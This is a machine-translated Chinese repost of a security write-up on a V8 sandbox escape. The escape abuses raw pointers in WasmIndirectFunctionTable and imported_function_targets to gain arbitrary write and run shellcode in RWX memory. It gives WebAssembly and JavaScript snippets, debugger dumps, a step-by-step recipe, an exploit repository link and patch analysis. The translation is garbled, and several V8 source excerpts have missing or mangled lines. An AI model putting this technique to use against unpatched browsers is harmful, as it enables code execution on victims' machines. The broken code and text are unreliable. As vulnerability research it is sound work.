介绍
我们正在分析一个野外 V8 漏洞CVE-2023–2033。一旦我们利用了该漏洞,就不难获得典型的利用原语,例如addrof、V8堆中的读取和写入。问题是我们需要逃离 V8 沙箱才能获得代码执行。
有一天,我们碰巧读到了@zh1x1an1221 的一条推文。他利用另一个野外漏洞 CVE-2023-3079 成功破解了计算器,这意味着他绕过了沙箱。在推文中,他提到了他用来逃离沙箱的一个与沙箱相关的补丁提交。看来提交沙箱化了 WebAssembly 对象中的原始指针,该指针已被滥用以绕过 V8 沙箱。该提交值得一看,因为 V8 堆中的原始指针始终是 V8 沙箱逃逸的来源。
在这篇博文中,我们将分享如何使用对象中的原始指针实现任意写入和代码执行原语的详细信息WasmIndirectFunctionTable。我们不会处理 CVE-2023-2033,因为已经有很多关于它的详细文章。下面将简要分析与沙箱绕过相关的补丁。
背景
为了理解这篇博文中的 V8 沙箱绕过,我们需要掌握 WebAssembly 中的三个概念:模块、实例和表。模块是一组无状态的 WebAssembly 代码,我们可以使用 JavaScript 对其进行实例化。我们可以将其视为二进制文件(例如 ELF),因为我们可以从二进制文件生成进程。实例是从模块创建的有状态的可执行对象。与其他编程语言中的模块一样,WebAssembly 模块可能包含导出的 WebAssembly 函数,我们可以使用 JavaScript 访问这些函数。
表格是本文中最重要的概念。它是一个函数数组,我们可以通过表索引访问函数。表中的条目可以通过 WebAssembly 代码或 JavaScript API 动态读写。
当我们实例化一个模块时,该实例可以导入 JavaScript 函数和 WebAssembly 表。以下是 WebAssembly 代码示例。它导入一个 JavaScript 函数和一个 WebAssembly 表(jstimes和tbl)。然后定义了两个函数$f42和 ,$f83用于初始化导入的表。最后,它定义了两个导出函数times2和pwn。
(module
;; The common type we use throughout the sample.
(type $int2int (func (param i32) (result i32)))
;; Import a function named jstimes3 from the environment and call it
;; $jstimes3 here.
(import "env" "jstimes3" (func $jstimes3 (type $int2int)))
(import "js" "tbl" (table 2 funcref))
(func $f42 (result i32) i32.const 42)
(func $f83 (result i32) i32.const 83)
(elem (i32.const 0) $f42 $f83)
(func (export "times2") (type $int2int) (i32.const 16))
(func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)
我们可以使用以下代码将上面的 WebAssembly 代码导入到 JavaScript 中。
const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});
const importObject = {
env: {
jstimes3: (n) => 3 * n,
},
js: { tbl }
};
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, importObject);
var times2 = instance.exports.times2;
%DebugPrint(instance);
在 V8 中,WebAssembly 实例和表实现为WasmInstanceObject和WasmTableObject。当实例导入表时,导入的表将存储tables到WasmInstanceObject. 然后WasmIndirectFunctionTable分配 an 并将其存储到indirect_function_tables的字段中WasmInstanceObject。具有包含 中函数指针的WasmIndirectFunctionTable字段。导入的 JavaScript 函数存储在. 所以从上面的 WebAssembly 和 JavaScript 代码来看,结构如下所示:targets
WasmTableObject
imported_function_targets
WasmInstanceObject
使用 WasmIndirectFunctionTable 获取任意写入原语
当我们转储 an 的内存时WasmIndirectFunctionTable,我们可以看到它targets是一个原始指针,指向 V8 沙箱之外的内存区域。
DebugPrint: 0x239d001a43ed: [WasmInstanceObject] in OldSpace
- map: 0x239d001997a5 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x239d001a35d1 <Object map = 0x239d001a43c5>
- elements: 0x239d00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x239d00042991 <Module map = 0x239d00199379>
- exports_object: 0x239d00042af1 <Object map = 0x239d001a4661>
- native_context: 0x239d00183c2d <NativeContext[282]>
- tables: 0x239d00042a91 <FixedArray[1]>
- indirect_function_tables: 0x239d00042a9d <FixedArray[1]
- ...
0x239d00042a9d: [FixedArray]
- map: 0x239d00000089 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x239d00042ab9 <WasmIndirectFunctionTable>
0x239d00042ab9: [WasmIndirectFunctionTable]
- map: 0x239d00001599 <Map[32](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0x562ebe531150
- targets: 0x562ebe531170
- managed_native_allocations: 0x239d00042ad9 <Foreign>
- refs: 0x239d00042aa9 <FixedArray[2]>
pwndbg> x/8gx 0x239d00042ab8
0x239d00042ab8: 0x0000000200001599 0x0000562ebe531150
0x239d00042ac8: 0x0000562ebe531170 <-- targets
0x239d00042ad8: 0x00008ba00000036d 0x0000000400000089
0x239d00042ae8: 0x00000000001a43ed 0x00000219001a4661
pwndbg> x/4gx 0x562ebe531170
0x562ebe531170: 0x00003bc1b5892000 0x00003bc1b5892005 <-- $f42, $f83
0x562ebe531180: 0x0000000000000020 0x0000000000000081
当我们搜索访问指针的代码时targets,我们可以找到以下函数:
void WasmIndirectFunctionTable::Set(uint32_t index, int sig_id,
Address call_target, Object ref) {
sig_ids()[index] = sig_id;
targets()[index] = call_target;
refs().set(index, ref);
}
将WasmIndirectFunctionTable::Set写入call_target指向的内存区域targets。由于targets是 V8 沙箱中的原始指针,因此我们可以通过使用沙箱内读/写原语修改指针来实现任意写入原语。现在的重点是我们是否可以将 的值设置call_target为我们选择的任意值。所以我们分析了如何实现WasmIndirectFunctionTable::Set以及call_target价值从何而来。
前往起点的路线WasmIndirectFunctionTable::Set从 开始WasmTableObject::Set。它是 JavaScript API 的实现WebAssembly.Table.prototype.set()。首先,它调用WasmTableObject::SetFunctionTableEntry
.
void WasmTableObject::Set(Isolate* isolate, Handle<WasmTableObject> table,
uint32_t index, Handle<Object> entry) {
// ...
switch (table->type().heap_representation()) {
// ...
default:
DCHECK(!table->instance().IsUndefined());
if (WasmInstanceObject::cast(table->instance())
.module()
->has_signature(table->type().ref_index())) {
SetFunctionTableEntry(isolate, table, entries, entry_index, entry);
return;
}
entries->set(entry_index, *entry);
return;
}
}
循环WasmTableObject::UpdateDispatchTables
访问表内的调度表,并WasmIndirectFunctionTable
通过调用 来更新每个条目的相应条目WasmIndirectFunctionTable::Set
。这里我们看到call_target
传递给 的WasmIndirectFunctionTable::Set
是 的返回值WasmInstanceObject::GetCallTarget
。
void WasmTableObject::UpdateDispatchTables(Isolate* isolate,
WasmTableObject table,
int entry_index,
const wasm::WasmFunction* func,
WasmInstanceObject target_instance) {
DisallowGarbageCollection no_gc;
We simply need to update the IFTs for each instance that imports
this table.
FixedArray dispatch_tables = table.dispatch_tables();
dispatch_tables.length() % kDispatchTableNumElements);
...
Address call_target = target_instance.GetCallTarget(func->func_index);
int original_sig_id = func->sig_index;
for (int i = 0, len = dispatch_tables.length(); i < len;
i += kDispatchTableNumElements) {
int table_index =
Smi::cast(dispatch_tables.get(i + kDispatchTableIndexOffset)).value();
WasmInstanceObject instance = WasmInstanceObject::cast(
+ kDispatchTableInstanceOffset));
int sig_id = target_instance.module()
->isorecursive_canonical_type_ids[original_sig_id];
WasmIndirectFunctionTable ift = WasmIndirectFunctionTable::cast(
instance.indirect_function_tables().get(table_index));
sig_id, call_target, call_ref);
}
}
返回WasmInstanceObject::GetCallTarget
实例中索引为 的 WebAssembly 函数的实际地址(即函数的代码指针)func_index
。该func_index
参数可以来自导入函数或导出函数。如果函数是导入函数,则将从 中检索调用目标imported_function_targets
。由于我们已经检查过func_index
来自WasmExportedFunction
,因此返回值将来自jump_table_start() + ...
。
Address WasmInstanceObject::GetCallTarget(uint32_t func_index) {
wasm::NativeModule* native_module = module_object().native_module();
if (func_index < native_module->num_imported_functions()) {
return imported_function_targets().get(func_index);
}
return jump_table_start() +
JumpTableOffset(native_module->module(), func_index);
}
问题是 是压缩指针,而 是 imported_function_target
jump_table_start
原始指针。这两个指针都在 V8 沙箱中,这意味着我们可以覆盖这两个指针。但是,我们无法控制指向 jump_table_start
的内容,因为我们还没有任意写入原语。
DebugPrint: 0x3ed3001a4f89: [WasmInstanceObject] in OldSpace
...
- imported_function_targets: 0x3ed300042cd9 <ByteArray[8]>
...
- jump_table_start: 0x10553c7e7000
...
所以我们应该让 WasmInstanceObject::GetCallTarget
take 分支 if (func_index < ...)
使返回值可控。来自 native_module->num_imported_functions()
1
我们的 Wasm 代码 ( (import "env" "jstimes3" (func $jstimes3 (type $int2int)))
)。 func_index
从 WasmExportedFunctionData
V8 沙箱中的对象中读取。因此,如果我们将 function_index
导出的 Wasm 函数设置为零并调用 WasmInstanceObject::GetCallTarget
,那么该函数将采用 if
分支并在 中返回一个值 imported_function_targets
。
DebugPrint: 0x2bc001a4505: [Function] in OldSpace
- map: 0x02bc00193751 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02bc00184299 <JSFunction (sfi = 0x2bc001460a5)>
- elements: 0x02bc00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x02bc001a44e1 <SharedFunctionInfo js-to-wasm:i:i>
- ...
0x2bc001a44e1: [SharedFunctionInfo] in OldSpace
- map: 0x02bc00000d75 <Map[36](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x02bc00002775 <String[1]: #3>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 206
- formal_parameter_count: 1
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x02bc001a44b5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- ...
0x2bc001a44b5: [WasmExportedFunctionData] in OldSpace
- map: 0x02bc00001ea9 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- internal: 0x02bc001a449d <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
- wrapper_code: 0x02bc0002bb9d <Code BUILTIN GenericJSToWasmWrapper>
- js_promise_flags: 0
- instance: 0x02bc001a4381 <Instance map = 0x2bc001997a5>
- function_index: 3
- ...
以下是获取任意写入原语的总结步骤:
1、创建一个 WebAssembly 表和一个导入该表的 WebAssembly 实例。
– WebAssembly 模块应至少导入一个 JavaScript 函数,使值为非零值 native_module->num_imported_functions() 。
2、WasmInstanceObject 用任意地址覆盖 WasmIndirectFunctionTable 中的 targets 指针。
– 此指针将是任意写入原语 where 的指针。
3、function_index 将导出的 WebAssembly 函数设置为零。
– 此值将是任意写入原语 what 的值。
4、WebAssembly.Table.prototype.set() .
– 此调用会将 what where 写入 .
V8 因无效的写入访问权限而崩溃
代码执行的任意写入原语
实例化 WebAssembly 模块时导入的函数存储在 imported_function_targets WasmInstanceObject .包含 imported_function_targets 导入函数的代码入口点。指针是具有 RWX 权限的原始指针。
DebugPrint: 0x418001a4fa1: [WasmInstanceObject] in OldSpace
- ...
- imported_function_targets: 0x041800042cd9 <ByteArray[8]>
- ...
pwndbg> x/8gx 0x041800042cd8
0x41800042cd8: 0x000000100000095d 0x00003cef5608b700
0x41800042ce8: 0x0000000200000089 0x00000089001a5081
0x41800042cf8: 0x000000000000000a 0x0000000000000000
0x41800042d08: 0x001a5169001a50bd 0x00000006000000d9
pwndbg> vmmap 0x00003cef5608b700
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x41b80c80000 0x52000000000 ---p 1047f380000 0 [anon_41b80c80]
► 0x3cef5608b000 0x3cef5608c000 rwxp 1000 0 [anon_3cef5608b] +0x700
因此,使用任意写入原语,我们可以将 shellcode 复制到 rwx 内存中,并通过调用被覆盖的导入函数的导出 Wasm 函数执行它。
(module
;; ...
;; Import a function named jstimes3 from the environment and call it
;; $jstimes3 here.
(import "env" "jstimes3" (func $jstimes3 (type $int2int)))
;; ...
(func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)
完整的漏洞利用代码可在我们的 GitHub 存储库中找到。https://github.com/theori-io/v8-sbx-bypass-wasm
The patches 补丁
沙盒绕过的补丁分两步完成。
第一个补丁将指针转换为堆上(指针压缩)指 targets 针,这样指针就不会被滥用来获取任意写入原语。我们注意到,此提交被标记为与 CVE-2023-2033 相同的问题编号。这意味着问题报告者可用的野外漏洞可能使用了相同的漏洞利用技术。
targets 代码入口点也容易受到攻击,因此第二个补丁将 targets ExternalPointerArray 包含编码指针 ( ExternalPointer ) 而不是原始指针。此修补程序可防止攻击者在 target .
0x3bdb0004cce5: [WasmIndirectFunctionTable]
- map: 0x3bdb00001589 <Map[20](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0x3bdb0004ccc5 <ByteArray[8]>
- targets: 0x3bdb0004ccd5 <ExternalPointerArray[2]>
- refs: 0x3bdb0004ccb5 <FixedArray[2]>
-
2023 年 7 月 21 日:提交了沙盒绕过的第二个补丁。 -
2023 年 4 月 14 日:提交了沙盒绕过的第一个补丁。 -
2023 年 4 月 12 日:CVE-2023–2033 已修补。 -
2023 年 4 月 11 日:报告了 CVE-2023–2033 的问题。
References 引用
-
https://v8.dev/blog/pointer-compression
-
https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Module
-
https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Instance
-
https://developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Table
-
https://developer.mozilla.org/en-US/docs/WebAssembly/Exported_functions
-
https://x.com/zh1x1an1221/status/1694573285563056201?s=20
-
https://bugs.chromium.org/p/chromium/issues/detail?id=1432210
-
https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):深入探讨野外漏洞利用中使用的 V8 沙箱逃逸技术